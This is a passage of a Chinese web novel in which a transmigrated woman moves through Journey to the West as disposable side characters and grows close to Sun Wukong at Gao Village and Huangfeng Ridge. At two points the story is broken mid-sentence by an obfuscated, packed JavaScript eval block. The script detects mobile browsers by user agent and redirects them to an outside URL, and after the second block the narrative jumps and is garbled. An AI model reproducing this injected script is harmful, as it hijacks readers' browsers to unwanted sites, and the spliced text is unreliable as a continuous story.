温热的鲜血如同喷泉般涌出,瞬间染红了灰色的僧袍,顺着她的手臂滴答滴答地砸在青砖上,很快汇聚成了一小滩触目惊心的血泊。极其浓烈的、属于人类鲜血的腥甜味,瞬间弥漫在空气中。 肖小夭整个人像断线的风筝一样被拍飞出去,重重地撞在坚硬的门框上,发出一声沉闷的骨裂声。 眼前瞬间蒙上了一层黑雾。 她无力地滑落在地,视线开始变得模糊。 隐约中,她听见屋里传来唐僧惊恐而凄厉的呼喊:“女施主!女施主你怎样了?!” 那声音听起来很遥远,像是隔着一层厚厚的水膜。 肖小夭张了张嘴,想说句“快跑”,但涌上喉咙的鲜血堵住了她的声音,只发出几声微弱的气音。 就在她即将彻底陷入昏迷的那一瞬间。 头顶的夜空中,突然爆出一声几乎要撕裂苍穹的狂怒咆哮! “黑炭头——你找死!!!” 肖小夭艰难地掀开沉重的眼皮。 透过模糊的血色视线,她看见一团燃烧着狂暴怒火的金色流星,以一种同归于尽般的骇人声势,从天际疯狂砸落! 是他。 他回来了。 肖小夭想朝他扯出一个笑容,想叫一声他的名字。 但体内的力量被迅速抽干。 眼前的世界越来越黑,那个浑身散发着暴戾气息的金色身影越来越近,最后,彻底归于虚无。 …… 【系统】:警告!检测到宿主遭受致命贯穿伤。生命体征正在快速流失…… 【系统】:警告!检测到严重异常!宿主行为逻辑严重偏离NPC预设! 【系统】:正在尝试修复……修复失败…… 【系统】:…… 【系统】:(沉默) 【系统】:滴——强制重启程序启动…… 9. 认识一下 肖小夭猛地睁开眼。 她做的第一件事,就是下意识地去摸自己的左肩。 那里光洁平滑,没有伤口,没有血迹。但被熊爪洞穿、撕裂血肉的剧痛仿佛还烙印在神经里,让她忍不住打了个寒颤。 这一次,她躺在一张极为柔软的华丽软塌上。身下是滑腻的绸缎被褥,软得她整个人都陷了进去。鼻腔里萦绕着一股甜腻的熏香,混杂着淡淡的脂粉气,熏得人有些发晕。 阳光从精雕细琢的窗棂透进来,在光洁的地板上投下斑驳的影子,一格一格的,像一方巨大的棋盘。 她低头打量自己——一身淡青色的丫鬟服,洗得干干净净,领口和袖口都绣着细碎的小花。腰间系着根柔软的丝绦,脚上是一双精致的绣花鞋,鞋面上两朵小小的梅花栩栩如生。 她手边还放着一个红漆托盘,盘子上摆着几碟精致的点心:桂花糕、绿豆糕、如意糕,码得整整齐齐。 肖小夭愣了三秒。 丫鬟?这回的皮肤是个丫鬟? 她坐起来,环顾四周。这是一间极为奢华精致的厢房,雕梁画栋,锦帐绣榻,一看就是某位大户人家小姐的闺房。角落里的紫檀木屏风上绣着一幅活灵活现的鸳鸯戏水图,黄铜镜台前摆满了胭脂水粉,有几个描金的小瓷盒还打开着,露出里面鲜红欲滴的口脂。 她正愣神,外面传来一阵急促的脚步声。 一个穿着体面、神情严肃的中年妇人走了进来,看见她还坐在塌上,立刻皱起了眉头。 “春兰!你还愣在这儿做什么?小姐在房里唤你过去伺候,没听见吗?!” 春兰?这回我叫春兰? 肖小夭赶紧站起来。她根本不知道对方是谁,只能含糊地点点头,顺着话茬应道:“是是,马上过去。” 妇人瞪了她一眼,扭身走了,脚步踩得地板咯吱咯吱响。 肖小夭深吸一口气,端起手边的托盘往外走。 【系统】:当前身份:高老庄丫鬟。当前时间点:猪八戒即将大婚。 【系统】:临时任务触发。高太公怀疑新女婿猪八戒有问题,想悔婚但又怕惹祸上身。宿主需观察猪八戒日常行踪,记录异常举动,并将消息传递给高太公信任的人。任务完成奖励:存活时间延长。 肖小夭心里嘀咕:所以这是让我当间谍? 她端着托盘走出厢房,沿着曲折的回廊往前走。 院子里张灯结彩,挂着红绸,贴着喜字,一派喜庆。下人们来来往往,忙得脚不沾地。 一个穿着大红新郎服的胖子站在院子中央,咧着嘴笑,正大声指挥着下人。 猪八戒。 肖小夭忍不住多看了两眼。这八戒现在还叫猪刚鬣,穿着一身崭新的喜服,长得倒是还算俊俏,就是肚子挺得老高,一笑起来活像一尊移动的笑面佛。 她正看着,八戒突然转过头来。 四目相对。 八戒眼睛一亮,屁颠屁颠跑过来,肚子一颠一颠的。 “哟,这位小娘子好生面善啊,新来的?”他上下打量着肖小夭,眼神黏糊糊的,让人很不舒服。 肖小夭本能地往后退了一步。 “奴婢……奴婢是春兰……”她硬着头皮说。 “春兰?好名字!”八戒笑嘻嘻地凑过来,“以后咱们多亲近亲近……” 他话还没说完,后脑勺突然结结实实地挨了一巴掌。 “啪”的一声,清脆响亮。 “呆子,干什么呢?” 一个毛茸茸的身影不知何时已经出现在了旁边。 悟空蹲在廊柱的栏杆上,手里拿着半个刚啃过的桃子,正斜着一双火眼金睛看着八戒。阳光照在他身上,金灿灿的,那条细长的尾巴在身后不耐烦地晃了一晃。 八戒捂着剧痛的后脑勺,一脸委屈:“大师兄,我……我就是跟新来的打个招呼……” 悟空又咬了一口桃子,慢悠悠地说:“打招呼用凑那么近?” 八戒讪讪地缩了缩脖子,自知理亏,小声嘀咕着溜了。 肖小夭看着这一幕,强忍着才没笑出声。 悟空这才转过头,对上了她的目光。 四目相对。 肖小夭心头一紧。 她下意识地以为,他会像之前在观音院那样,一个闪身凑过来,阴阳怪气地甩出一句“哟,又换了身皮囊?” 但这次,他没有。 悟空从栏杆上轻巧地跳下来,走到她面前。 距离两步开外,保持着一个安全的距离。他微微歪着毛茸茸的脑袋,上上下下打量着她。 “又见面了。”他说。 肖小夭愣了一下,赶紧低下头,熟练地开启装傻模式:“这位施主认错人了吧?奴婢第一次见您……” 悟空没说话,只是静静地嚼着桃子。 她就那么低着头,能清晰地感觉到他的目光正落在自己的发顶上。 一秒。两秒。三秒。 “不认识也没关系。”他突然把桃核随手一扔,拍了拍手上的桃屑,语气随意却清晰,“那我们,重新认识一下吧。” 肖小夭大脑直接宕机了。 她猛地抬起头,对上他的眼睛。 悟空就那么站在阳光里,嘴角勾着一抹似笑非笑的弧度。 “老孙姓孙,名悟空。”他盯着她,一字一句道,“你叫什么?” 肖小夭被他盯得发毛,机械地回答:“奴婢……叫春兰……” 悟空听完,点了点头。 “春兰。”他咂摸了一下这俩字,“行吧。” 他没戳穿她这烂透了的谎言。 只是突然往前凑了半步,压低声音,用一种只有两人能听见的音量,极快地说了一句: “上一次,谢了。” 肖小夭心跳猛地漏了一拍。 上一次。他果然全都知道。 她张了张嘴,正琢磨着该怎么糊弄过去,远处突然传来八戒扯着嗓门的叫喊:“大师兄!快来帮忙搬东西啊!” 悟空直起身,不耐烦地掏了掏耳朵。 “来了来了,催命啊你!” 他扛起不知从哪摸出来的金箍棒,转身大步流星地走了。 肖小夭僵硬地站在原地,端着托盘的手心里全是汗。 谢了? 大圣这意思是……承了她的情? 她长长地舒了一口气,心里瞬间涌起一阵劫后余生的庆幸:太好了!看来这次他不仅不会拆穿自己,还单方面跟她“和解”了!这下总算不用整天提心吊胆,生怕被他当成来路不明的妖精,一棍子敲碎天灵盖了! ………… 傍晚时分,肖小夭被派到后厨帮忙。 厨房里热火朝天,肖小夭蹲在灶台前烧火,灶膛里火苗噼啪作响,映得她脸颊红扑扑的。 一个老婆婆端着一盆青菜走了进来,在她旁边的矮凳上坐下。老婆婆头发花白,脸上满是褶子,走路时一条腿明显有点跛。 “新来的?”老婆婆声音沙哑地问。 肖小夭胡乱地点了点头。 老婆婆浑浊的眼睛打量了她一圈,突然压低声音凑过来:“丫头,院里那猴子,你认识?” 肖小夭一愣。 这个对话……怎么这么耳熟?! 她警惕地看着这老太太,心里直打鼓,本能地摇头:“我……我不认识……” 老婆婆没追问,只是扯了扯嘴角,那笑容在灶火的映衬下透着股说不出的深意。她幽幽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347398|199536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地叹了口气,压着嗓子道:“老婆子看你这丫头也不像个安分的。这庄子如今不太平,那猴头不是凡人,这要当新姑爷的,也不是个省油的灯。你一个弱女子夹在中间,自己当心吧。” 说完,她便站起身,端着菜一瘸一拐地走了。 肖小夭独自坐在灶台前发呆。 ………… 夜里,肖小夭借口倒夜香,偷偷溜到了后院。 系统任务在身,她必须得来蹲点猪八戒。 她猫着腰躲在一棵桂花树后,往厢房看去。 厢房的窗户上映出一个肥大的影子,在屋里烦躁地晃来晃去。突然,那影子变了,在烛光的拉伸下猛地膨胀,变成了一头巨大的野猪轮廓! 肖小夭捂住嘴,瞪大眼睛。 厢房的门“吱呀”一声开了。猪八戒走出来,警惕地看了看四周,转身就走,没走几步竟然凭空消失了! 她愣住了,这么大个活人怎么说没就没? 她正疑惑着,身后突然响起一个懒洋洋的声音。 “在找他?” 肖小夭吓得魂飞魄散,差点尖叫出声,猛地回头。 悟空不知何时已经蹲在了她身后的假山顶上。月光给他金色的毛发镀上了一层光晕,尾巴在身后悠哉地晃着。 “你……你怎么走路没声音的?!”她压着嗓子低呼。 悟空从假山上轻巧地跳下来。 “那你呢?”他反问,“大半夜不睡觉,在这儿蹲坑呢?” 肖小夭被噎住了:“我……我就是出来透透气。” 悟空嗤笑了一声,显然不信。 “那呆子去找他老丈人了。”他走到她身边,和她一起站在阴影里,“估计是想求人家别悔婚。” 肖小夭愣了一下:“你怎么知道?” “老孙跟踪他啊。”悟空一脸理所当然,“不然你以为我大半夜蹲在这儿喂蚊子?” 肖小夭沉默了。原来同行是冤家。 两人并排躲在树影后,看着空荡荡的院子。 过了一会儿,悟空突然转过头。 “上次,你是故意的?” 肖小夭一头雾水:“什么?” “挡那黑瞎子一爪子。”悟空盯着她,眼神在夜色中格外明亮,“故意的?” 肖小夭被问住了。 怎么可能是故意的,谁会嫌命长啊! “我不知道。”她如实回答,“当时没想那么多,脑子一热就冲上去了。” 悟空定定地看了她几秒。 然后,他极轻地笑了一声。带着点猴王独有的桀骜和好笑。 “傻子。” 肖小夭瞪大眼睛。 你才傻!你全家都傻!要不是为了完成任务保命,谁管你们死活! 她正要在心里继续疯狂输出,悟空突然伸出手,一把按住她的肩膀,将她往下重重一压。 他掌心的温度隔着单薄的衣料传来,滚烫得惊人。 “别动。”他低声道。 肖小夭吓了一跳,赶紧缩成一团,大气都不敢出——任务关键时刻,千万不能被发现! 远处传来一阵脚步声。 猪八戒垂头丧气地回来了,一看就是碰了一鼻子灰。他推开厢房门,“砰”的一声关上了。 悟空松开了按在她肩上的手。 “行了。”他站起身,拍了拍手上的灰尘,“回去睡你的觉吧。” 肖小夭揉了揉被他按得有些酸痛的肩膀,抬头看着他。 悟空已经转身,扛着棍子,溜达着走远了。 月光下,那个毛茸茸的背影很快融入了夜色里。 肖小夭撇了撇嘴。 这猴子,道谢就道谢,手劲还挺大。 10. 高老庄不太平的一天 肖小夭一早起来,就觉得今天不太平。 院子里乱糟糟的,下人们跑来跑去,嘴里嚷嚷着什么“姑爷跑了”“小姐要上吊”之类的。她端着洗脸水往小姐房里走,差点被一个慌张的小厮撞翻。手里的盆晃了晃,水洒出来一半,溅在她的绣花鞋上。 “春兰!你还磨蹭什么!”管事的婆子冲她喊,“小姐那边都哭晕过去三回了!快去!” 肖小夭赶紧加快脚步。 推开房门,一股脂粉味混着泪水的咸涩味扑面而来。高小姐趴在床上,哭得直抽抽,两个丫鬟在旁边手足无措,一个递帕子,一个端水,完全乱了阵脚。 “小姐……”肖小夭刚开口。 高小姐猛地抬起头,一双眼睛肿得像核桃,脸上全是泪痕,妆都花了:“春兰!你说,我是不是命苦?好不容易嫁个人,结果是个妖怪!” 肖小夭愣住了。 她知道。她当然知道猪八戒是妖怪。但这如花似玉的姑娘,也确实是命苦。 “小姐,您别急……”她干巴巴地安慰,走过去把洗脸水放下。 “不急?我怎么不急?”高小姐又哭起来,眼泪哗哗地往下流,“爹爹要去找法师收他,他要是回来报复怎么办?咱们全家都得死!” 肖小夭心想:您放心,您爹找的法师就在你家正厅坐着呢,那法师的大徒弟正摩拳擦掌等着削他师弟呢。 但她没说。 她只是默默地递过去一块帕子,看着高小姐哭得死去活来。 ………… 中午时分,唐僧师徒到了。 听凭小姐的吩咐,肖小夭躲在正厅侧面的屏风后,偷偷往外看。屏风是红木的,雕着牡丹花纹,透过缝隙能看清外面的情形。 高太公把唐僧请在上首,一把鼻涕一把泪地诉苦。唐僧听得连连点头,面露悲悯,不时念一声“阿弥陀佛”。 悟空则蹲在旁边的太师椅上,正啃着一个苹果。他吃得漫不经心,一双火眼金睛却四处乱瞟,细长的尾巴在椅背上悠哉地晃着。 肖小夭屏住呼吸。 他的目光扫过屏风,停了一瞬。 她赶紧往后缩了缩。 唐僧听完高太公的哭诉,看向悟空:“悟空,你看这事……” 悟空咽下嘴里的果肉,把苹果核随手往盘子里一丢,慢悠悠地开口:“简单。” 他从椅子上轻巧地跳下来,“把那呆子叫出来,老孙跟他聊聊。” 高太公吓了一跳,脸色都白了:“那、那妖怪会来?” 悟空笑了,露出一口细密的白牙:“他不来,您那闺女怎么办?总不能让他一直躲在后院当缩头乌龟。” 高太公犹豫了一下,还是壮着胆子让人去后院喊猪刚鬣。 肖小夭心跳加速。 她知道接下来会发生什么。猪八戒会现出原形,会大闹一场,会被悟空一顿胖揍,然后乖乖跟着唐僧去取经。 但她不知道的是,吃瓜群众也是有风险的。 猪八戒来了。 他穿着那身皱巴巴的喜服,头上还戴着那顶歪了的礼帽,脸上带着宿醉的酒意,晃晃悠悠地走进正厅。走路一摇一摆,肚子一颠一颠,看起来滑稽得很。 可一看见悟空,他的脸色瞬间变了。 “大大大……大师兄?!”他一愣,酒醒了大半,“你怎么在这儿?” 悟空扛着金箍棒,溜达着走到他面前。 距离很近,近到猪八戒本能地往后退了一步。 “呆子。”悟空似笑非笑,“你在这儿强抢民女娶媳妇,师父让我来请你。” 猪八戒脸色阴晴不定,看看悟空,又看看唐僧,最后看向躲在椅子后面的高太公。 “老丈人,您这是什么意思?”他的声音变了,透着一股阴森的寒意。 高太公吓得又往后缩了缩,只敢露出半个发髻。 猪八戒的脸一下子涨红了,从脖子红到耳根。 “好啊……你们合起伙来骗我?!” 话音未落,他的身体像吹气球一样猛地膨胀。 那身喜服“嘶啦”一声裂开,碎片飞得满屋都是。肥大的脸皮拉伸,变成了一颗狰狞的猪头,嘴里长出两根又粗又尖的獠牙,在阳光下泛着森冷的寒光。眨眼间,他变成了一头巨大的黑毛野猪精,脑袋都快顶到房梁了! 肖小夭躲在屏风后面,吓得大气都不敢喘。 野猪精狂怒地大吼一声,整个正厅都在颤抖,房梁上的灰簌簌往下掉。他不管不顾地低头撞向悟空,速度快得惊人,青砖地面被生生踩出几个大坑。 悟空侧身轻巧躲开,顺势一棒子敲在他厚实的背上,发出一声令人牙酸的闷响。 “呆子,清醒点!” “清醒个屁!老猪今天撞死你们!”猪八戒红了眼,嘴里喷着腥臭的粗气,在厅里四处乱撞。 桌子被掀飞,碎成木片;椅子被踩烂,木茬横飞;他一头撞在堂柱上,整栋屋子剧烈地晃了晃,屋顶的瓦片“哗啦啦”往下砸。 整个正厅瞬间一片狼藉,烟尘弥漫。 肖小夭躲在屏风后面,拼命往墙角缩。 但那头已经陷入狂暴的野猪精根本不管方向,蹄子一刨,竟直直朝她藏身的角落冲了过来! “轰——” 红木屏风如同纸糊的一般被撞得粉碎,木块四处飞溅。 肖小夭彻底暴露在空地上。 她惊恐地仰起头,看见猪八戒那双血红的眼睛近在咫尺,像两团燃烧的业火。他手里不知何时已经攥紧了九齿钉耙,带着雷霆万钧之势,照着她的方向劈头盖脸地砸了下来! 钉耙上的寒光刺得她几乎睁不开眼。 太快了。 凡人的身躯根本来不及躲避。 肖小夭脑子里一片空白,唯一的念头是:完了,又要换皮肤了。 就在这千钧一发之际—— 一道金色的残影裹挟着劲风从天而降。 “哐——!!!” 一声震耳欲聋的巨响,震得肖小夭耳膜嗡嗡作响,心脏都漏跳了一拍。 预想中被砸成肉泥的剧痛并没有出现。 她颤抖着睁开眼。 悟空挡在她面前。 手里那根暗金色的铁棒死死架住了砸下的九齿钉耙。他就站在那儿,离她不到半尺的距离。她甚至能看清他后脖颈上随风扬起的金色绒毛。 钉耙和金箍棒死死咬合的地方,火星四溅。 猪八戒庞大的身躯压在上方,双臂青筋暴起,喉咙里发出野兽般的低吼,拼命将钉耙往下压。 可悟空却纹丝不动。 他单手擎着金箍棒,脊背挺得笔直,另一只手甚至还随意地垂在身侧。 在令人窒息的角力中,他甚至还有余力微微侧过头,用眼角的余光瞥了地上的肖小夭一眼。 那一眼,确认了她手脚都在。 然后,他转过头,金色的眼瞳冷冷地盯着上方那张狰狞的猪脸。 “呆子。”他收起了漫不经心,声音冷得像淬了冰,“老孙说,够了。” 话音落下的瞬间,他单臂猛地发力,金箍棒往上一扬。 一股排山倒海的力量瞬间爆发。 那把重达五千多斤的九齿钉耙被硬生生震开!猪八戒巨大的身躯失去平衡,踉跄着倒退了七八步,重重地撞在后墙上。“轰”的一声,墙体龟裂,蛛网般的裂纹蔓延开来。 悟空没去追。 他转过身,随手将金箍棒往地上一杵,低头看向还瘫坐在地上的肖小夭。 阳光从破损的屋顶漏下来,将他周身笼罩在一片细碎的金芒里。那张毛茸茸的脸上看不出多余的情绪,只是微微挑了挑眉。 “还傻坐着?”他啧了一声,语气里透着股欠扁的戏谑,“再晚点,你就能被这呆子和成肉馅包饺子了。” 肖小夭咽了口唾沫,愣愣地点了点头,手脚并用地爬起来。 他盯着她看了两秒,确认这凡人丫头除了吓傻之外连块油皮都没破,这才收回目光,重新转身走向猪八戒。 “行了,呆子,闹够了没?”悟空用棍子敲了敲地面,“人家不愿把闺女嫁你,你强求也没用。跟老孙走,去西天取经,混个正果,比在这儿当上门女婿强多了。” 猪八戒靠在墙上喘着粗气,眼里的猩红渐渐褪去,狂怒的气势也像戳破的气球一样瘪了下来。 “我……我认了。”他垂下猪头,声音闷闷的,透着股委屈。 悟空轻嗤了一声,回头扫了一眼还傻站着的肖小夭。 “看什么热闹,去后院待着,这儿还没收拾干净。” 肖小夭如蒙大赦,赶紧贴着墙根往外溜。 跑到门口时,她忍不住回头看了一眼。悟空正用脚尖踢着八戒的屁股,催他去给唐僧磕头。 她摸了摸自己还在狂跳的心口。 虽然这猴子嘴毒,但刚才挡在前面的样子……确实挺有安全感的。 ………… 傍晚时分。 正厅的闹剧已经收场。猪八戒被正式收编,换了身干净和尚衣裳,正跟着唐僧念经。高太公千恩万谢,摆了满满一桌素斋款待。 作为丫鬟,肖小夭此时终于得了空闲。 她坐在后院角落的石凳上,看着天边像被火烧过一样的晚霞发呆。 身后传来极其细微的脚步声。 很轻,踩在青砖上,如果不是在这寂静的后院,根本听不见。 她回头。 是厨房那个瘸腿的老婆婆。她穿着粗布衣裳,腰间围着围裙,花白的头发被风吹得有些凌乱,拄着根木拐杖,正一步一步朝这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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【系统】:滴——检测到核心剧情人物出现[非逻辑保护行为]。 【系统】:当前世界线干涉度小幅上升。记录完成。 肖小夭愣了一下:什么叫非逻辑保护行为? 【系统】:根据底层逻辑运算,目标生命体(孙悟空)此时的首要任务为降服猪妖。在零点零三秒的反应时间内,其放弃了最优制敌路线,选择拦截物理攻击以保护宿主生命体征。该行为不符合绝对理性运算。 肖小夭:……你就直说他宁愿放弃连招也先救了我呗。 【系统】:滴——检测到宿主获得高阶未知因果道具【无名护身符】。 【系统】:警告!宿主当前□□为临时载体,物理道具在载体死亡或重置后将自动遗落/销毁。 【系统】:是否开启系统特权,将该道具转化为【灵魂绑定物】?转化后,该道具将随宿主灵魂共振,无视皮肤更迭。 肖小夭眼睛猛地一亮! 对啊!她可是个随时随地会被迫换马甲的苦命打工人!这符纸要是贴身带着,万一现在的皮肤挂了,这保命道具不就爆出去了?! 肖小夭:立刻转化!绑定!死死绑在我的灵魂上! 【系统】:指令确认。道具【无名护身符】数据化中……灵魂绑定完成。 话音刚落,肖小夭手里的发黄符纸瞬间化作点点微弱的金光,顺着她的指尖钻入了掌心。手腕内侧留下了一个极淡的红色符文印记,随后隐没在皮肤下,消失不见。 肖小夭长长地舒了一口气。太好了,这下不用怕换号掉装备了。 【系统】:综合结算:宿主与本世界核心人物因果羁绊加深,且成功绑定高阶干涉道具。当前灵魂与系统适配度更新为:32%。 肖小夭翻了个白眼:因果羁绊?系统,你到底是生存辅助,还是什么披着科幻皮的修仙攻略游戏?还有那个老婆婆说的‘测试’到底是什么? 【系统】:宿主权限不足,无法解答。请努力存活。 “又装死!”肖小夭小声嘟囔了一句。 夜色彻底降临。 她靠在冰凉的院墙上,下意识地摸了摸手腕内侧,抬头看着天上那轮皎洁的明月。 前院隐隐传来八戒的呼噜声,还有唐僧平缓的诵经声。 一阵夜风吹过,卷起几片落叶。 肖小夭并不知道,就在她头顶斜上方、几十步开外的高耸屋脊上—— 一个毛茸茸的身影正屈起一条腿,姿态随意地坐在月光下。 他没有看月亮,那双在暗夜中隐隐泛着金光的眸子,正若有所思地盯着院墙下那个单薄的身影,良久,良久。 11. 这个大圣有点帅 肖小夭睁开眼,有点迷茫。 她手里还维持着一个诡异的姿势——死死攥着一根厚实的鞋底和一根纳鞋针。低头一看,手里的针脚歪歪扭扭,有的地方挤成一团,有的地方稀得能塞进手指头。 她打量了一下自己:一身靛蓝色的粗布衣裳,洗得发白,手肘处还打着两块补丁。脚上是一双旧布鞋,鞋头都已经磨出了洞。腿上搭着个竹编的针线笸箩,里头放着几团乱糟糟的线和一把生锈的剪刀。 她抬起手摸了摸脸。 没有皱纹,皮肤还算光滑,是个年轻的村妇。手指上有几个针眼,带着点红肿,看来刚穿过来之前这具身体没少挨扎。 肖小夭环顾四周。 这是一个破败的小村落,稀稀拉拉散落着十几户人家。远处山势险峻,光秃秃的黄土石壁直上直下,像刀削斧劈一般。风声呼啸,吹得树枝乱晃,卷起地上的黄沙打着旋儿。 黄风岭。 肖小夭脑子里立刻闪过这个地名。 【系统】:当前身份:黄风岭村民“翠儿”。当前时间点:黄风怪即将出现。 【系统】:检测到宿主在上一节点(高老庄)存活时间过长,为推进主线剧情,系统已强制重置时间线与物理载体。请宿主悉知。 肖小夭翻了个白眼:悉知,说白了不就是强行把我踹到下一个副本来打工么。 【系统】:临时任务触发。任务目标:提醒取经团队“前方有妖,小心黄风”。任务完成奖励:存活时间延长。 肖小夭:行吧,来活儿了。 她把鞋底往笸箩里一扔,站起身拍拍屁股上的黄土。 茅草屋里恰好传来一个老太太沙哑的嗓音:“翠儿!又偷懒!鞋底纳完了吗?” “马上就好——”肖小夭顺着话茬喊了一声,转身就往外溜。 她沿着村里的土路往山下走。村里很安静,偶尔有几个村民低着头行色匆匆地路过。一个扛着锄头的老汉从她身边经过,随口问了一句:“翠儿,今天怎么没去井边打水?” 肖小夭脑子里飞速运转,含糊地应道:“一会儿去,马上就去。” 老汉点点头,扛着锄头走远了。 肖小夭松了口气,还好没露馅。 她溜达着走到村口,找了块向阳的石头坐下。 太阳一点点升高,晒得人暖洋洋的。村口的土墙根下靠着个老头,正眯着眼睛晒太阳,一动不动,也不知道是睡着了还是醒着。 肖小夭忍不住多看了他两眼。 就是个极普通的干瘪老头。但不知为何,这老头给她一种很强的既视感,总让她想起高老庄后厨那个送她护身符的瘸腿老婆婆。 她下意识地摸了摸手腕内侧——那里有一个隐形的符文印记。那是跟她灵魂绑定的“无名护身符”。 正想着,远处传来了错落有致的马蹄声。 肖小夭精神一振,站起身往路中间凑了凑。 漫天黄沙中,三人一马沿着山路走来:唐僧骑着白马,后面跟着扛着九齿钉耙、圆滚滚的猪八戒,而那只金灿灿的猴子,正姿态随意地蹲在马背上,长长的尾巴在身后有一搭没一搭地晃着。 肖小夭深吸一口气,一步跨到路中间拦住去路。 “长老留步!”她扬起嗓门,拿出了NPC背台词的专业素养,“前方黄风岭有大妖,专吃过往行人!那妖怪会吹一种极为厉害的黄风,你们千万小心些!” 唐僧勒住缰绳,面色微变,双手合十:“阿弥陀佛,多谢女施主提……” “醒”字还没说出口,一道金色的残影突然从马背上跃起。 “唰”的一声轻响。 悟空已经轻巧地落在了她面前三步开外的一块青石上。他蹲在石头上,微微歪着毛茸茸的脑袋,一双暗金色的火眼金睛直勾勾地盯着她的脸。 肖小夭没动。 她强装镇定,就这么大大方方地站在原地任他看。 悟空挑了挑眉。 “又见面了。”他开口,声音透着股慵懒的沙哑。 肖小夭眨眨眼,熟练开启装傻模式:“这位大圣说话真有意思,民女第一次见您,何来‘又’字?” 悟空盯着她的眼睛,身后的尾巴慢慢停止了晃动。 “第一次?”他嘴角微微勾起一个危险的弧度,“那你刚才拦路的时候,眼神为什么一直在老孙身上转?” 肖小夭被噎了一下。 她刚才确实没忍住多看了两眼,毕竟前天晚上他还上演了一出“英雄救美”。 “民女……民女只是好奇……”她面不改色地胡扯。 “好奇什么?” “好奇……猴子当和尚,到底长什么样。” 悟空盯着她看了两秒,突然短促地笑了一声。 唐僧的声音从身后传来:“悟空,你认识这位女施主?” 悟空头也没回,只抬起一只手随意地摆了摆:“认识,熟得很。” 肖小夭心里一紧。这么直接?! 唐僧愣了一下:“哦?你们……” “师父,你们带着这呆子先往前走。”悟空从石头上站起来,掏出金箍棒往地上一杵,“老孙有点‘私事’,得好好问问这位女施主。” 唐僧虽然疑惑,但看悟空没有敌意,最终还是点点头:“好,莫要为难人家。” 说罢,带着频频回头看热闹的猪八戒往前走了。 村口很快只剩下肖小夭和悟空。 还有一个靠在墙根晒太阳的半死不活的老头。 悟空提着棍子走到她面前,围着她慢悠悠地转了一圈。毛茸茸的长尾巴若有似无地扫过她的小腿肚,带起一阵让人头皮发麻的细微痒意。 肖小夭没敢动,但眼睛一直警惕地跟着他转。 “你每次换身份,倒是换得挺彻底。”悟空在她正前方停下,慢悠悠地说,“衣服、样貌、年纪,连身上的气味,全都不一样。” 肖小夭后背出了一层白汗。 他果然全都看穿了。在这双火眼金睛面前,换皮肤根本没用! “民女不知道大圣在说什么。”她咬死不认。 悟空歪了歪头:“不知道?观音院的小和尚,高老庄的春兰……咱们都这么熟了,有必要每次见面都装傻么?” 肖小夭心跳漏了一拍,深吸一口气,迎着他的目光:“民女说了,第一次见大圣。” 悟空静静地盯着她看了三秒。 然后,他笑了。带着点猴王独有的桀骜和纵容。 “行。”他说,“你不认就不认。” 他往后退了一步,突然身上金光一闪—— “砰”的一下,他变成了一只灰扑扑的小麻雀,扑棱着翅膀飞到她肩头上空打了个转;紧接着落到地上,又变成了一棵迎风招展的小树苗;树苗摇了摇,缩成了一块圆润的石头;最后金光一收,又变回了那只穿着虎皮裙的猴子。 肖小夭在心里暗暗倒吸一口凉气,大圣的七十二变,现场看确实震撼。 悟空蹲在地上,仰起头看她:“看,老孙想变什么,就变什么。” 他站起身,眼底的戏谑收敛了几分。 “但俺老孙不管怎么变,也就是变个皮相。身子还是这个身子,魂还是这个魂。” 他顿了顿,目光突然变得极具穿透力,仿佛要直直看进她的灵魂深处。 “但你不一样。你是真的连皮肉骨血都换了。老孙用火眼金睛看了你一路,一直在想……”他压低声音,“你到底是个什么东西?” 肖小夭在心里疯狂吐槽:你才是个东西!我是高贵的未来打工人! 但她面上不敢显露分毫。 悟空看着她紧绷的脸,突然又笑了。 “想不明白。”他随意地耸耸肩,“但老孙也不急。这西天路还长着呢,总有一天能弄明白。” 肖小夭愣住了。 他这是……暂时放弃追根究底了? 悟空歪着头,目光肆意地打量着她,眼底闪过一丝促狭。 “老孙倒要看看,你还能换多少副皮囊。不过……” 他突然顿住,紧接着,周身再次爆发出耀目的金光! 光芒散去。 站在肖小夭面前的,不再是那只毛茸茸的雷公嘴和尚。 而是一个身形挺拔修长、穿着一身玄色劲装的青年男子。 他比肖小夭高出一个头还多。宽肩窄腰,墨发高高束起,那张脸依然保留着属于齐天大圣的桀骜与不羁,但五官却化作了极致俊朗的模样,剑眉星目,轮廓如刀削斧凿般深邃。 阳光从他背后照过来,给他整个人镀上了一层耀眼的金边。 他就那么站在那儿,微微低下头,深邃的眸子居高临下地看着她,嘴角勾起一抹似有若无的笑。 “老孙也会变人。”男人的嗓音低沉悦耳,带着一丝撩拨的尾音,“你看看这副模样,如何?” 肖小夭被迫仰起头,正对上他的视线。 心脏猛地漏跳了一拍。 随即,“咚咚咚咚”——心跳声像是在胸腔里擂起了战鼓! 她感觉脸颊迅速窜上一股热气,耳朵发烫,连脖子都红了。 救命!这猴子的美商为什么这么高?!这谁顶得住啊! 她赶紧狼狈地低下头,死死盯着自己的脚尖,不敢再看那张极具冲击力的脸。 看着她泛红的耳尖和瞬间慌乱的呼吸,悟空嘴角的笑意更深了。 他往前迈了半步,极具压迫感地拉近了距离。 “哦?”男人低沉的声音就在她头顶上方响起,带着毫不掩饰的戏谑,“看来,你很喜欢这个样子啊。” 肖小夭大脑一片空白。 但作为一个饱受系统摧残的打工人,她骨子里的倔强突然被激了出来。 她深吸一口气,强行压下狂乱的心跳,猛地抬起头,毫不退缩地迎上他的目光。 “长得是挺好看的。”她咬着牙说,声音竟然奇迹般地稳住了,“多看两眼怎么了?不收钱吧?” 这回轮到悟空愣住了。 